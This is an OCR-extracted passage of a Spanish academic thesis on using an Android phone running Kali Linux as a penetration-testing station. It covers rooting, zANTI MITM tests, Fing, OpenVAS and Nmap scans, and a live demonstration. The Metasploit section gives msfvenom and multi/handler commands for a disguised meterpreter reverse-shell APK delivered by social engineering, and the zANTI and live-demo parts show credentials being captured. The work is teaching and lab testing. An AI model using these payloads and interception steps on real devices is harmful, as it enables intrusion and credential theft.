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finalizar la instalacion y veremos una nueva aplicacion instalada, el icono que
se vera sera similar al de la figura 38.

Figura 38. SuperSu

2 il C1 1450

Apps ¥

Custom

Pentesting

2 B & W

BusyBox Free  ConnectBot BusyBox

i X f E
Linux Deploy Nipper
Terminal Root Checker SuperSU
Emulator Advanced

Fuente: Los autores

Si la aplicacién se encuentra instalada y se ejecuta sin arrojar errores el
proceso de obtencién de permisos fue satisfactorio.

Renuncia Legal: Los autores del presente documento no se hacen
responsables por los dafios que los procesos descritos anteriormente puedan
causar en los dispositivos moéviles; asi como el uso no correcto de las
aplicaciones utilizadas. Las aplicaciones y demas son propiedad exclusiva de
sus respectivos desarrolladores.

Recomendacion: Si el usuario no posee conocimientos avanzados en el tema
se recomienda abstenerse de realizar los procesos de obtencidn de “root” de
los equipos.
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Recomendacion: Los procesos mencionados corresponden Unicamente a las
referencias de equipos mencionadas, Sony Xperia ZL con banda base
#9X15A-ACEFWMAZQ-30110223-84, y HTC One M7-U con banda base
#4A.23.3263.28 10.38R.1157.04D. Para otras referencias es recomendable
realizar una busqueda en Internet para los procedimientos adecuados.

8.5.3 Instalacion de Kali Linux en Dispositivo Android

Para realizar este procedimiento es absolutamente necesario tener los permisos
de superusuario del dispositivo, ademas de esto contar con cada uno de los
programas antes mencionados, incluyendo el archivo .img de imagen de disco de
la distribucion Kali.

8.5.3.1 Instalacién del sistema operativo

Debemos descargar la imagen de KALI Linux en la raiz de la tarjeta SD de
nuestro dispositivo mévil y contar por lo menos con 4.5Gb de espacio para
realizar la instalacion del sistema. Iniciamos Linux Deploy y nos
encontraremos con la pantalla presentada en la figura 39:

Figura 39. Linux Deploy

o @ F 4 ] 2133
& Linux [192.168.0.15]

Fuente: Los autores

Para configurar la instalacién, lo primero que debemos hacer es cambiar el
directorio de busybox dando clic en configuracion que se encuentra en los
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tres puntos de la parte inferior derecha, cambiando la ruta original por
“/data/data/ru.meefik.busybox/files/bin” como se muestra en la figura 40.

Figura 40. Configuracion Linux Deploy

ENTORNO SISTEMA OPERATIVO

Directorio BusyBox
/data/data/ru.meefik.busybox/files/bin

Use CLI

Set up a command line interface

Actualizar ENV

Fuente: Los autores

Volvemos a la pantalla inicial y damos clic en la flecha de abajo la cual nos
abrir4 las configuraciones con las cuales sera instalado el nuevo sistema
operativo, debemos dejarlo como se explica a continuacion:

Distribucion: Kali Linux

e Suite Distribuciéon: sana

e Arquitectura: armhf

e Mirror URL: http://http.kali.org/kali/

e Tipo de instalacion: archivo

¢ Ruta de instalacion: /storage/sdcardl/kali.img (depende de donde se deja
la imagen de kali)
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e Tamafio de imagen: calcular autométicamente

e Sistema de archivo: Auto

e Nombre de usuario y contrasefia: Asignado por el usuario

e Entorno de escritorio a preferencia al igual que los componentes, en
nuestro caso como es una estacibn de trabajo para pruebas de
penetracion instalamos componentes kali.

El paso a seguir es simplemente dar en instalar que es la primera opcion de
la lista, con lo que comienza a instalarse el sistema operativo como tal, figura
41.

Figura 41. Proceso de Instalacion KALI

fo= & © Tl ¢
A& Linux [192.168.0.23]

Fuente: Los Autores

Cuando finalizamos la instalacion el sistema se inicia y presenta la siguiente
ventana donde veremos correctamente la informacion de inicio del OS,
detallando servicios y directorios raiz del sistema, ademas de detallar el
entorno grafico que previamente se configuro, figura 42.
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Figura 42. Inicio de sistema operativo

stdin: is

file

X' desktc
fied in /home

t:0.log

Fuente: Los Autores

8.5.3.2 Visualizacion del sistema operativo

Podremos visualizar el sistema operativo instalado de dos formas diferentes:

e Terminal de comandos: La terminal de comandos (previamente instalada)
la encontramos desde los tres puntos suspensivos, con lo que tendremos
completo acceso al sistema operativo por comandos como lo muestra la
figura 43.

Figura 43. Modo de visualizacion por consola

Ventana 1~

inet addr
.255.255.0
inet6 addr: fe

UP BROADCAST R
RX pack 07

ck
Packagy
ee armhf Pac 5
ana/contrib Translatio
ana/main Translation-en
n http://http.kali.org sana/non-free Translation-en
0% [Packages 0 B]

i
108

Fuente: Los Autores
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¢ VNC: A través de la plataforma de visualizacion VNC podemos configurar
un acceso a nuestro sistema, esta vez directamente al entorno grafico
instalado. En la figura 44 vemos las configuraciones de acceso en donde
el “nickname” y el “password” son configurados antes de instalar el OS.

Figura 44. Configuracion VNC

© F .4l #08 1902

Connection
- ubuntu:localhost:5900 - O

Connect

Password
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Fuente: Los Autores

Después de realizar correctamente el ingreso vemos el sistema operativo
KALI Linux corriendo en nuestro dispositivo mévil de en su entorno grafico
como se muestra en la figura 45.

Figura 45. Sistema Operativo Kali Linux entorno grafico.
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Fuente: Los Autores

8.6 PRUEBAS INICIALES DE FUNCIONAMIENTO DE HERRAMIENTAS A
USAR

Para las pruebas iniciales de funcionamiento de las herramientas de penetracion
se dispone de un equipo con sistema operativo Android 5.0.2 Lollipop, un equipo
con sistema operativo Windows 10.0 compilacién 10547 y un entorno de red local.
A continuacion, se evidencian las pruebas iniciales con cada una de las
herramientas.

Las pruebas se realizan en redes locales y sobre equipos virtualmente
vulnerables.

8.6.1 zANTI Zimperium Android Network Toolkit

Para comenzar las pruebas con la herramienta zANTI se evidencia el sistema
objetivo en la figura 46:
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Figura 46. Identificacion ip y MAC desde el sistema objetivo

B C\WINDOWS\system32\cmd.exe

Fuente: Los autores.

Ademas del reconocimiento de IP se realiza una verificaciobn de nombre de host
desde la misma maquina como se muestra en la figura 47.

Figura 47. Identificacion nombre de Host desde el sistema objetivo

EN CWINDOWS system32iomd. exe

Fuente: Los autores.

Se comienza la prueba inicial con la herramienta zANTI realizando un mapeo en la
red que se encuentran los dispositivos conectados a la misma, figura 48.
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Figura 48. Mapeo de red desde el dispositivo Android

ANTI APAR...

192.168.0.1/24

Fuente: Los autores.

A continuacion, en la figura 49, se ingresa en el dispositivo con IP 192.168.0.16 y
mismo nombre de host al identificado anteriormente:

Figura 49. Vista general e identificacion de dispositivo

ANTI Target @ 192.168.0.16

Manual scan completed

Re-Scan Scan Log Dismiss

Comments About Nmap scans

Fuente: Los autores.

Después de tener identificado el objetivo revisamos los logs de nMap para
conseguir el sistema operativo de la maquina como se muestra en la figura 50,
como se puede evidenciar se reconoce el sistema operativo Windows 10 Home
Insider Preview con compilacién 10547.
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Figura 50. Identificacion de sistema operativo

@ F ol #75% 1712

ANTI Target @ 192.168.0.16

n completed

Scan Log Dismiss

Fuente: Los autores.

Después de realizar la identificacion completa del objetivo procedemos a realizar
pruebas y ataques de hombre en el medio, MITM, comenzando por la captura de
trafico de navegacion, figura 51.

Figura 51. Navegacion en maquina objetivo.
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INTERNATIONAL SERVICES S.A

Nuestros Servicios

Fuente: Los autores.
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En la figura 52, se evidencia la captura de trafico de navegacion de la victima.

Figura 52. Captura de trafico de navegacion
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Fuente: Los autores.

Continuando con las pruebas de verificacion de herramienta se procede con la
captacion de cabeceras, prueba realizada sobre la plataforma universitaria de la
UNAD, figura 53.

Figura 53. Inicio de sesion Campus virtual de la UNAD

Pagina Prncipal & Entrar al sitic

Entrar Registrarse como usuario

debe

fwstavera]

COIDCAT SU USUANo O @ COMT20 QUE UENE r2ICKNA0 &n & Peri de CAMPUS VINual, 5610 uno de

Fuente: Los autores.
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En la figura 54 se evidencia la captura de un usuario y contrasefia la cual se
puede consultar inmediatamente en el log de eventos.

Figura 54. Identificacion de respuestas, usuario y contrasenia.

® O F a #3% 17:27 ’ O = al #3% 17:26
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Tue Oct 06 17:2

ue Oct 06 17:25:46 GMT-05:00 2015

ue Oct 06 17:25:30 GMT-05:00 2015

Fuente: Los autores.

Continuando las pruebas se procede a realizar captura de imagenes en el trafico
de navegacion de una web determinada, en nuestro caso la UNAD, figura 55.

Figura 55. Navegacion UNAD

Medios de comunicacién

Canal UNAD
Radio UNAD Virtual
UNAD Noticias
Aplicaciones moviles

Comunidad Académica Virtual
Inmersiva

Fuente: Los autores.
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En la figura 56 se evidencia la captura de imagenes en el dispositivo movil.

Figura 56. Captura de imagenes pagina UNAD

=] © F 4 #3 17:38
¢ “Z°ANTI Logged Images

Fuente: Los autores.

Para realizar redireccionamiento se habilita la opciéon en el dispositivo como se
muestra en la figura 57.

Figura 57. Redireccionamiento http

ANTI MITM @ 192.168.0.16

Redirect HTTPS to HTTP

Redirect HTTP req to your [P

When enabled, all http traffic will be redirected
to zlmperium servers.

URL to redirect all traffic to:

Fuente: Los autores.
En la navegacion toda pagina queda redireccionada, figura 58.
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Figura 58. Campus virtual de la UNAD redireccionado

Don’t Panic!

Zimperium

Zimperium

Fuente: Los autores.

Para realizar modificaciones en las imagenes consultadas se hace uso de la
opcion “replace images” como se muestra en la figura 59.

Figura 59. Replace Images zANTI

Change images to your own

Capture downloaded file and store
them on the sdcard

Fuente: Los autores.
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En la figura 60 se presenta el perfil del ingeniero Ramsés Rios en el cual veremos
el cambio de imagen de perfil por el seleccionado.

Figura 60. Vista con cambio de imagen perfil Ramsés Rios, Asesor de proyecto
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s o s =
Ultimo acceso  martes, 6 de octubre de 2015, 17.21 (32 minutos 20 segundos Mis Cursos Virtuales
Grupo 0,Re
Perfiles de curso  PROYECTO DE SEGURIDAD INFORMATICA l (Posgrado) 233013A_224

. Ge bl@

Radia 250 Vitwat

Fuente: Los autores.

Para realizar las pruebas de captura de descargas seleccionamos el tipo de
archivo que queremos capturar y esperamos a que el objetivo realice una
descarga desde sus sistemas, figura 61.

Figura 61. Captura de descargas

Capture downloaded file and store
them on the sdcard

When enabled, all specified files will be
intercepted and downloaded to the sdcard

.pdf

Fuente: Los autores.
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En la figura 62 se ejecuta una descarga de un pdf desde la maquina objetivo,
archivo MITM.pdf

Figura 62. Descarga desde navegador

£ Aplkaciones ™M ¥ Bookmarks [ () Sote (] UNAD (] TahechaStore (1) Jobs (1) Transto (] Bancos (] william compras [ Electronica [ iBienvenido a Faceb.. (11 conf (] SAI » [ Otros marcadores

MAN IN THE MIDDLE

MITM.pdf i ¥ Mostrar todas las descaro”

Fuente: Los autores.

Después de que el objetivo realice su descarga ingresamos a la tarjeta SD del
dispositivo movil y en la carpeta de capturas de zANTI encontraremos el archivo
mitm.pdf, figura 63.

Figura 63. Captura de descarga Android

O = il #2% 18:06

&« /A ASTRO Q Y :

@ /sdcard zanTi2_capTURES

=

MITM.pdf

Fuente: Los autores.
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La ultima prueba realizada con esta poderosa herramienta es la insercion de
codigo html en la web inmediatamente siguiente de navegacion, activamos la
opcion en zANTI y dejamos la opcion por defecto como se muestra en la figura 64.

Figura 64. Inyecciéon HTML

Insert specified html into webpages

When enabled, the following html will be inserted
into every web page that is intercepted.

Fuente: Los autores.

Para verificar la insercion de cddigo html verificamos la alerta generada al navegar
por el campus virtual de la UNAD, figura 65.

Figura 65. Verificacion de inyeccion html

) 180
"0 OBE g0ms

NAD X ] - ——
irtualorg, 0RO =
Sorte ] UNAD ] Tahecha Store i Bienvenido a Faceb. L conf ] SAI » Otros marcadores

fensaje de la pagina campusOa.unadvirtual.org: ~ |

Fuente: Los autores.
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8.6.2 Fing

Fing como herramienta de mapeo de red es rapida y confiable, a continuacioén, se
muestran pruebas realizadas sobre una red de area local con sus respectivas
identificaciones.

Al iniciar la aplicacion esta comienza a mapear y nos da el resultado de los
equipos encontrados en la red, se incluyen puntos de acceso, equipos de
computo, dispositivos moviles sin exclusion, cada uno de estos con su respectiva
direccion IP, direccion MAC, nombre de usuario (en lo posible) y marca del
dispositivo.

En la figura 66 se detalla la pantalla después de finalizado un mapeo de red
ademas de esto cabe rescatar que, si ya se ha realizado un mapeo previo de la
misma red, la aplicacién tiene en cuenta los dispositivos antes encontrados y los
lista como ausentes.

Figura 66. Mapeo de red Fing

’ T F .al @7 11:30
Fing (VIR 3 o)

= APARATO STUDIO 5/11

*  Wireless network now
192.168.0.1 chAdmin
701 AS Hon Hai Precision

192.168.0.10

00:23.CI

192.168.0.25

9c Hon Hai Precision

192.168.0.27 My Phone

B4:52:7D:96:12:92 Sony

192.168.0.63

Fuente: Los autores.

Cuando accedemos a alguno de los dispositivos nos encontramos con la
informacion de forma detalla y con una lista de acciones que podemos realizar.
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En la figura 67 se muestra el acceso a dos de los dispositivos listados, al lado
izquierdo se encuentra un smartphone Sony enlazado con sistema operativo
Android, al lado derecho se encuentra un computador, al cual solo se puede sacar
el nombre de usuario el cual se denota como Stev-PC, se encuentra informacion
adicional como informaciones de dominio y una lista de opciones que se listan a
continuacion:

e Log

e Scan Services

e Ping

e Trace Route

e \Wake on LAN

Figura 67. Informacién de los dispositivos

O F al F% 11:30 2 @ F .l &= 1131

My Phone

My Phone

192.168.0.27 4 192.168.0.25

B4:52:7D:96:12:92 MAC Add 9C:AD:97:34:D6:CD

android-89a349b65837baea ame Stev-PC

Sony Hon Hai Precision

Oct 6 20:19 NetBIOS Domain WORKGROUP

NetBIOS Name STEV-PC
NetBIOS Role FileServer

Sean services Bonjour Name Stev-PC

Ping 30 ces  teamviewer(icp)

Trace route 0ct620:19

Wake on LAN Nov 27 11:29 - 1 min ago

Fuente: Los autores.

Con la informacion que encontramos en esta herramienta se puede hacer uso de
herramientas como zANTI para atacar con precisién un dispositivo en especifico.
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La caracteristica de Log esta disponible para la version de la aplicacién de pago,
sin embargo, las demas opciones se encuentran disponibles para su uso.

Si realizamos un scan de servicios a uno de los dispositivos en la red encontramos
los puertos que tiene abiertos el equipo y el servicio asociado, como ejemplo se
tiene el andlisis al equipo con nombre de usuario Stev-PC el cual se encuentra con
los servicios MSRPC, Netbios SSN, https, Microsoft-ds, iss realsecure y Oracle en
los puertos: 135, 139, 443, 445, 902 y 1521 respectivamente como se muestra en
la figura 68.

Figura 68. Informacion de los dispositivos

© =F a =5 11:31

Service Scan o -

Stev-PC 6 services

192.168.0.25 WORKGROUP\STEV-PC
[ 4:D6:CD Hon Hai Precision

PC services

139 nethios-s;sn

NE’

1521 oo

Oracle Database

Fuente: Los autores.

8.6.3 Metasploit en Kali desde Android

A través de Metasploit se realiza un ataque tipo intrusién mediante la creacion de
un aplicativo con “reverse TCP” de extension .apk que permitira el acceso total a la
maquina objetivo. Dicha aplicacion es tipo “stand-alone” que puede ser incluida
dentro de otra para pasar desapercibida y se ejecutara en segundo plano invisible
al usuario.

A continuacion, se muestra un paso a paso del proceso descrito en el parrafo
anterior.
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Abrimos Metasploit y esperamos a que inicie el programa, conectamos la base de
datos con el siguiente comando:

Db_connect

Utilizamos una de las herramientas que tiene metasploit para generar aplicativos
ejecutables que infectan una maquina objetivo abriendo una puerta que nos
permite el control del equipo que ejecuta la aplicacion, la herramienta se llama
“‘msfvenom” la cual sustituy6 a “msfpayload”, para generar dicho .apk corremos el
siguiente comando:

Msfvenom Android/meterpreter/reverse_tcp LHOSTS=192.168.0.23
LPORT=4444 R > prueba.apk

Donde LHOST es el host al cual le vamos a dar acceso hacia la maquina objetivo,
en nuestro caso la maquina actual, LPORT es el puerto que dejaremos en
escucha del objetivo y prueba.apk es el nombre de la aplicacion que crearemos,
figura 69

Figura 69. Creacion de la aplicacion.

= 12:24

File Edit View Bookmarks

Fuente: Los Autores
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Luego de crear la aplicacion verificamos en el directorio y mediante ingenieria

social buscamos como el objetivo podria instalar la aplicacion en un dispositivo,
figura 70.

Figura 70. Apk en directorio

arod & O F 4l 8% 18:56
B o android - Dislphin
P e | . )
@ wp ||a2e| |2 s | @B rnd W st (O connl
Flaces > Home
% Network
- A
" Trash
Recantl
5

=

[ This Manth

Fuente: Los Autores

La figura 71 muestra la instalacién en un nuevo dispositivo movil.

Figura 71. Instalacion aplicacion en maquina objetivo.

S @ 18038 Sony Ericsson

5ot i@ 224
~ GO Launcher EX...apk

) MainActivity

= Intercepter-NG ...apk

Completar accién con

enviar mensajes SMS, llamar
directamente a nimeros de
teléfono

Tus mensajes
leer SMS 0 MMS, recibir SMS
+ Tuubicacién

~ WiFiKill.apk
14/10/2015 0616, 333,85 KB

Fuente: Los Autores
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Teniendo instalada la aplicacion, ésta debe ejecutarse en la maquina objetivo, es
entonces cuando el proceso empieza a correr en segundo plano. En nuestra
estacion de trabajo debemos ejecutar lo siguiente para establecer la conexion:

Conectamos a la base de datos de metasploit con el siguiente comando:

Db_connect

Seleccionamos el exploit que vamos a manejar:

Use exploit/multi/handler

Habilitamos el Payload reverese tcp, con el que tendremos respuesta tcp en
sentido contrario.

Set PAYLOAD Android/meterpreter/reverse_tcp

Habilitamos la ip de escucha que es la propia:

Set LHOST 192.168.0.23

Habilitamos el puerto de escucha:

Set LPORT 4444

Ejecutamos exploit y esperamos la conexion.

Exploit

En la figura 72 vemos que se establece la conexién con el equipo vulnerado y
podemos hacer uso de la herramienta meterpreter para tomar control absoluto
sobre el dispositivo.
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Figura 72. Ejecucion del exploit.

Fuente: Los Autores

Después de esto podemos hacer cualquier cosa en la maquina objetivo, en la
figura 73 se muestran algunos de los comandos con sus respectivos controles

Figura 73. Muestra de comandos Meterpreter para Android.

Fuente: Los Autores.
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8.6.4 OpenVas en Kali desde android

Openvas (Open Vulnerability Assessment System) es un framework que permite
realizar escaneos de vulnerabilidades y seguridad ademas de su gestion entre las
posibilidades que maneja se encuentra el escaneo concurrente de multiples nodos
con soporte SSL, el escaneo automatico temporizado y un sistema de mdultiples
reportes, esta herramienta puede ser utilizada bajo sistema operativo Linux y su
gestion se realiza a través de un servidor web integrado desde cualquier
plataforma.

Openvas fue instalado en la estacion de trabajo desde el dispositivo Android en el
sistema operativo KALI Linux, a continuacion, se muestra los pasos ejecutados y
los resultados encontrados al analizar host al azar en una red Local.

8.6.4.1 Instalacién

La instalaciéon de Openvas se realiza desde la terminal del sistema operativo
con la ejecucion del siguiente comando:

Apt-get install openvas

Con lo que tendremos el resultado de descarga de archivos e instalaciéon
creando varios certificados de seguridad que permitirAn la ejecucion de
nuestro nuevo escaner de vulnerabilidades, figura 74.

Figura 74. Instalacion Openvas

Fuente: Los Autores.
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8.6.4.2 Ejecucién y puesta en marcha.

Para la ejecucion y puesta en marcha de Openvas en Kali Linux solo basta
con correr los siguientes comandos, el primero para ver los servicios y
puertos utilizados y el segundo para ejecutar la aplicacion como tal como se
muestra en la figura 75.

Netstat —antp
Openvas-start

Figura 75. Iniciando Openvas

o) al/ LLD/OPETvds/Lel L=Uald/UTliT=Lert= i
] No CERT-Bund advisories updated and CERT DB newer than SCAP DB. Skipping CVSS recalculation.
1] Updating Max CVSS for DFN-CERT
Rebuilding NVT cache. .. done.
:~# netstat -antp
Active Internet connections (servers and established
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
0 0 127.0.0.1:93% 0.0.0.0:* LISTEN 68080/0penvasnd

0 0 127.0.0.1:9391 0.0.0.0:* LISTEN 68043/0penvassd: Re
0 0127.0.0.1:80 0.0.0.0:* LISTEN 68094/gsad
0 0 127.0.0.1:9392 0.0.0.0:* LISTEN 68091/gsad
0 0 127.0.0.1:39210 127.6.0.1:9391 TINE_WAIT
.~ openvas-start
Starting OpenVas Services
4

Fuente: Los Autores.

8.6.4.3 Realizando escaneos a host desde dispositivo Android.

Las pruebas de escaneo se realizan desde el mismo dispositivo Android, no
necesariamente desde el sistema operativo Kali, ya que Openvas se ejecuta
y monta un pequefio servidor web que sirve de entorno gréfico para el
aplicativo lo que facilita la ejecucion desde cualquier equipo en la red que
tenga un navegador, en nuestro caso ejecutaremos desde el mismo
dispositivo movil, pero desde el navegador de Android OS como se ve en la
figura 76.
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Figura 76. Ejecutando Openvas

(= e T gl r40%] 20:24

0 s //192.168.0.26

Greenbone Security Assistant -
)

Login

Fuente: Los Autores.

Al ingresar a Openvas nos pide logueo, damos las credenciales de ingreso y
accedemos a la plataforma, la cual es muy intuitiva, para estas pruebas se
realizaron tres escaneos a diferentes hosts de prueba entre ellos dispositivos

moéviles y equipos de cémputo, en la figura 77, se evidencian los escaneos
de una manera resumida.

Figura 77. Escaneando host con Openvas

O [ hitps://192.168.0.25 : O [ /192168025 H

@ Greenbone
42" Security Assistant

Tasks 1303 (0tak2) M BANE W [orctreen ey 30 . ¥ o)

=

ot st O)

I [ o
Immediate scan of IP 192.168.0.12 Io— 1(1)  Apr22016 B 3

1) Apr22016 [ ool | oEpEon

Immediate scan of IP 192.168.0.20 1(1)  Apr22016 1 1) Ap2206 . o UHIJU
Immediate scan of IP 192.168.0.28 [=—vone——| 1(1)  Apr2201¢

(D8 B0 sewc  mE— oneEon

[vopl 1o poge contens v | E] ()

Fuente: Los Autores.
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A continuacion, se muestran los resultados de dos de los escaneos, en las
imagenes a continuacion se denotan 2 host diferentes:

e 192.168.0.12 - Equipo Android en la red local
e 192.168.0.20 - Equipo portatil Windows OS en la red local.

Podemos evidenciar, en la figura 78, que al dispositivo Android, aunque no

se encontraron vulnerabilidades, si identifico el sistema operativo de una
manera rapida.

Figura 78. Escaneando un equipo Android

Reports MM 1-10f1 (totar:3) HE BE [ /refresh every 30 sec_v [

Filter: min, qud—

dl-rea8

e sk _
Immediate scan of
SatApr219:55432016 il (70512505 0 4 o BE
VApply to page contents ¥ @ B

] 1 S "

08 fingerprinting 75%  192.168.0.12 (androic-61fdb207bc8b67ed) general/tcp

.}
ICMP Timestamp Detection 75%  192.168.0.12 (android-6{fdb207bcBb67ed) general/icmp S
Traceroute [ voles ] 75%  192.168.0.12 (androic-6{fdb207bc8b6Ted) general/tcp 1Y
CPE Inventory [ 00Tea) ] 75%  192.168.0.12 (android-6ffdb207bc8b6Ted) general/CPE-T A

o | I "N

05 fingerprinting | 00(les) | 75% 192.168.0.12 general/tcp
Summary
This script performs ICMP based 0S fingerprinting (as described by Ofir Arkin and Fyodor Yarochkin in
Phrack #57). It can be used to determine remote operating system version.
Vulnerability Detection Result

ICWP based 05 fingerprint results: (100% confidence)

Linux Kernel

Log Method
Details: OS fingerprinting (OID: 1.3.6.1.4.1.25623.1.0.102002)

Version used: SRevision: 43 §

Fuente: Los Autores.
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En la figura 79 se muestran los resultados del escaneo realizado a un equipo
con sistema operativo Windows.

Figura 79. Escaneando un equipo Windows

Scan Hesults
S =

Immediate s¢an of e [
P192:168020 W 2 " BE

VApply to page contents ¥ B U <

Sat Apr 219:56:31 2016

Fuente: Los Autores.

Con esto podemos evidenciar la facilidad de realizar un escaneo de
vulnerabilidades a un equipo en la red, identificando diferentes situaciones
que presenta, desde un dispositivo moévil como estacion de trabajo de
seguridad informatica. Como ejemplo se presenta en la figura 80 las
vulnerabilidades encontradas en una maquina dentro de una red local entre
las cuales hay dos de nivel medio y una de nivel bajo.

Figura 80. Vulnerabilidades encontradas

 Report: Results [l [l 1-350f35(total:35) [l B8 | ]

Filter. sort-reverse=severity result_hosts_only=1 min_cvss_base= min_qod= [ ] /& -"@8
nm_m
DCE Services Enumeration 75% 192.168.0.20 (Stev-PC) 135/tcp SifL. *
DCE Services Enumeration AL m 75% 192168.0.20 (Stev-PC) 135/tcp S
TCP timestamps L KT 5% 192.168.0.20 (Stev-PC)  generalitep SifL. !

08 fingerprinting 75% 192.168.0.20 (Stev-PC)  generalitep L.}
DIRB (NASL wrapper) 75% 192.168.0.20 (Stev-PC)  generalitcp 3%
ICMP Timestamp Detection 75% 192.168.0.20 (Stev-PC)  general/icmp [
arachni (NASL wrapper) 75% 192.168.0.20 (Stev-PC)  generalftcp Sl
Nikto (NASL wrapper) 75% 192.168.0.20 (Stev-PC)  general/tcp SR
Traceroute 75% 192.168.0.20 (Stev-PC) generalftcp Sl
Mirtnenft QMR Qinnina Nicahlad YT 75 102 168 N 90(Staw.DMY  nenaraliten LI Y

Fuente: Los Autores.
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8.6.5 Nmap en Kali desde Android

NMAP es una herramienta de cédigo abierto y multiplataforma que se utiliza para
escanear puertos aplicaciones y vulnerabilidades en un sistema de red, las
funciones que tiene disponible el NMAP se aumentan y potencian mediante una
serie de scripts que facilitan servicios de escaneo mas profundos.

Aunque la herramienta es multiplataforma es una de las aplicaciones base que
encontramos instalada en la estacion de trabajo generada bajo sistema operativo
Kali Linux, y a continuacion se muestra la ejecucién de varios de los scripts
integrados en una red local para evidenciar el potencial de la herramienta.

En la imagen a continuacién se evidencia la ejecucion de uno de los comandos
utilizando el script AUTH en busqueda de credenciales de autenticacion.:

Nmap —f —sS —sV —script auth 192.168.0.20

Donde -f es usado para dividir las cabeceras TCP, -sS es la técnica usada por
defecto (rapida, fiable y relativamente sigilosa), -sV interroga al conjunto de
puertos abiertos detectados para tratar de descubrir servicios y versiones en
puertos abiertos, figura 81.

Figura 81. NMAP y script Auth

ol android : bash

cow = B Ml android : bash — Konsole

Fuente: Los Autores.
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En la ejecucion del comando descrito se evidencian los puertos abiertos con su
respectivo estado, servicios asignados y la version utilizada ademas del estado de
servidor de bases de datos Oracle en el dispositivo analizado.

A continuacion, figura 82, se muestra la ejecucion de nmap utilizando el script
default el cual ejecuta todos los cripts basicos por defecto de la herramienta:

Nmap —f —sS —sV —script auth 192.168.0.20

Figura 82. NMAP vy script Default

* 20:59

Fuente: Los Autores.

La ejecucion de este comando nos da a conocer mas detalladamente el estado de
los puertos abiertos en el dispositivo, ademas de esto hace un reconocimiento del
sistema objetivo identificando el sistema operativo, el nombre de la maquina, el
grupo de trabajo y los datos de fecha y hora del dispositivo.

Por ultimo, se realiza la ejecucion del comando usando el script safe el cual
ejecuta métodos no intrusivos en el sistema pero que de igual manera encuentran
informacion sensible de los dispositivos en la red, figura 83.
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Nmap —f —script safe 192.168.0.20

Figura 83. NMAP y script safe

O 5 al

0 = a4l 743%] 21:.05

Fuente: Los Autores.

Con este comando logramos identificar proveedor de dhcp y servicios de DNS,
puertos abiertos usados para el aplicativo team viewer, tabla ARP, equipos con
nombre de red conectados en la misma, entre otros.

8.7 PRUEBAS DE PENETRACION EN VIVO

El dia 10 de octubre de 2015 ante un publico entre los que participaban
estudiantes de ingenieria y el asesor de tesis, se presentaron pruebas de
penetracion en vivo hacia los usuarios de dispositivos moviles que se encontraban
conectados a la red.

En las imagenes a continuacion se evidencia la charla que tuvo como duracion
dos horas en la que se explicaron los cuidados que se deben de tener cuando
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accedemos a redes libres en entidades estudiantiles o de trabajo, se tomé como
sujeto objetivo un usuario de la red que estaba en el salon de la conferencia y se
evidencio el ataque en proyector.

El desarrollo de la conferencia se realizé con explicacion de ataques comunes en
redes privadas y publicas, se realizaron ataques tipo sniffer y MITM capturando y
modificando las peticiones que se realizaban al servidor principal desde la
maquina objetivo, figuras 84 y 85.

Figura 84. Pruebas en vivo 1

IIIII G

B i

Fuente: Los autores.

Figura 85. Pruebas en vivo 2

Fuente: Los autores.
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En las pruebas realizadas se evidencio robo de usuario y contrasefia del portal
universitario de la UNAD como se puede observarse en la figura 86:

Figura 86. Pruebas en vivo 3

°oR
( ANTI http:/...

ANTI Log...

Sessions
https://campusob.unad.edu.co
Session cookies for this host. Tap on a session to
forge. 192.168.0.122

requests, | passwords

Sat Oct 10 09:52:23 GMT-05:00 2015

Mozilla/s.0 (Linux; Android 4.3; C1904 Build/15.4.A.1.9)...

http://campus.unadvirtual.org
192.168.0.122

3 requests, 0 passwords 2 fequests, O password

http://es.m.wikihow.com
192.168.0.122

192.168.0.122

http://js-agent.newrelic.com
192.168.0.122

5 1equests, O passwords

https://ajax.googleapis.com

1% 1AR A1

d O o

Fuente: Los autores.

8.8 PLATAFORMAS INSEGURAS

Luego de realizar intentos y pruebas de penetracion a los usuarios se ha
encontrado una lista de entornos y portales que son susceptibles a este tipo de
ataques, permitiendo realizar robo de informacién de formularios de ingreso y
secuestros de sesion mediante herramienta, los portales hasta el momento
probados y vulnerables son los siguientes, figura 87.

e Campus UNAD Virtual.

e Mercadolibre.
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e Amazon.

Figura 87. Plataformas inseguras

4 ANTI Logge... |l q ‘E’

e

http://js-agent.newrelic.com
192.168.0.21

3 requests, 0 passwords
https://secure.mlstatic.com
192.168.0.21

15 requests, 0 passwords
https://www.mercadolibre.com
192.168.0.21

8 requests, 2 passwords
https://analytics.mlstatic.com
192.168.0.21

2 requests, O passwords

Q7 il W 1532
ANTI Logee.. Il Q §

http://fls-na.amazon.com
192.168.0.21

11 requests, 0 passwords
https://www.amazon.com
192.168.0.21

30 requests, 1 passwords
https://s.amazon-adsystem.com
192.168.0.21

2 requests, 0 passwords

https://images-na.ss|-images-

' amazon.com

192.168.0.21

https://mldp.mercadolibre.com.ar T

192.168.0.21 http://tap.rubiconproject.com
2 requests, 0 passwords 192.168.0.21

1 requests, 0 passwords

http://sr.symcd.com
192.168.0.21

1 requests

http://s.amazon-adsystem.com
192.168.

2 requests, 0

http://ss.symcd.com

192.168.0.21 https:/fwww.4shared.com

Fuente: Los autores.

8.9 VULNERABILIDADES EN ANDROID

Al ser el sistema operativo moévil mas popular y de mayor implementacion
globalmente, Android es considerado por muchos el sistema operativo que mas
sufre ataques y aprovechamiento de sus vulnerabilidades; a marzo de 2016 se
cuenta un total de 219 vulnerabilidades verificables en este sistema operativo que
pueden afectar versiones desde la 2.2 hasta la version actual.

Cabe aclarar que este conteo no es exacto pues cada dia son descubiertas
nuevas fallas y vulnerabilidades que pueden ser aprovechadas por personas
malintencionadas que, dependiendo de la vulnerabilidad explotada, pueden
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incluso obtener informacion confidencial, asi como el acceso y control total del
dispositivo atacado, figura 88.

Figura 88. Vulnerabilidades en Android

Vulnerabilities By Type
M Denial of Service 82

Bypass Something 38
80 M Execute Code 93

[ | Memory Corruption 59
Gain Information 39

M Gain Privilege 39

39 39 Overflow 80
Sql Injection 1
CSRF 1
Fuente: CVE Details - http://www.cvedetails.com/product/19997/Google-

Android.html?vendor_id=1224

Las vulnerabilidades existentes han sido cubiertas apropiadamente por Google,
desarrollador del sistema operativo, mediante parches de seguridad que son
emitidos a la brevedad una vez identificada la falla. Sin embargo, esto no significa
que los equipos queden protegidos inmediatamente pues dependera, no solo del
usuario sino también de cada fabricante, que las actualizaciones sean generadas
e instaladas en los equipos. Por esto mismo es recomendable mantener los
equipos actualizados a sus Ultimas versiones disponibles y oficialmente emitidas
por los fabricantes de los mismos.
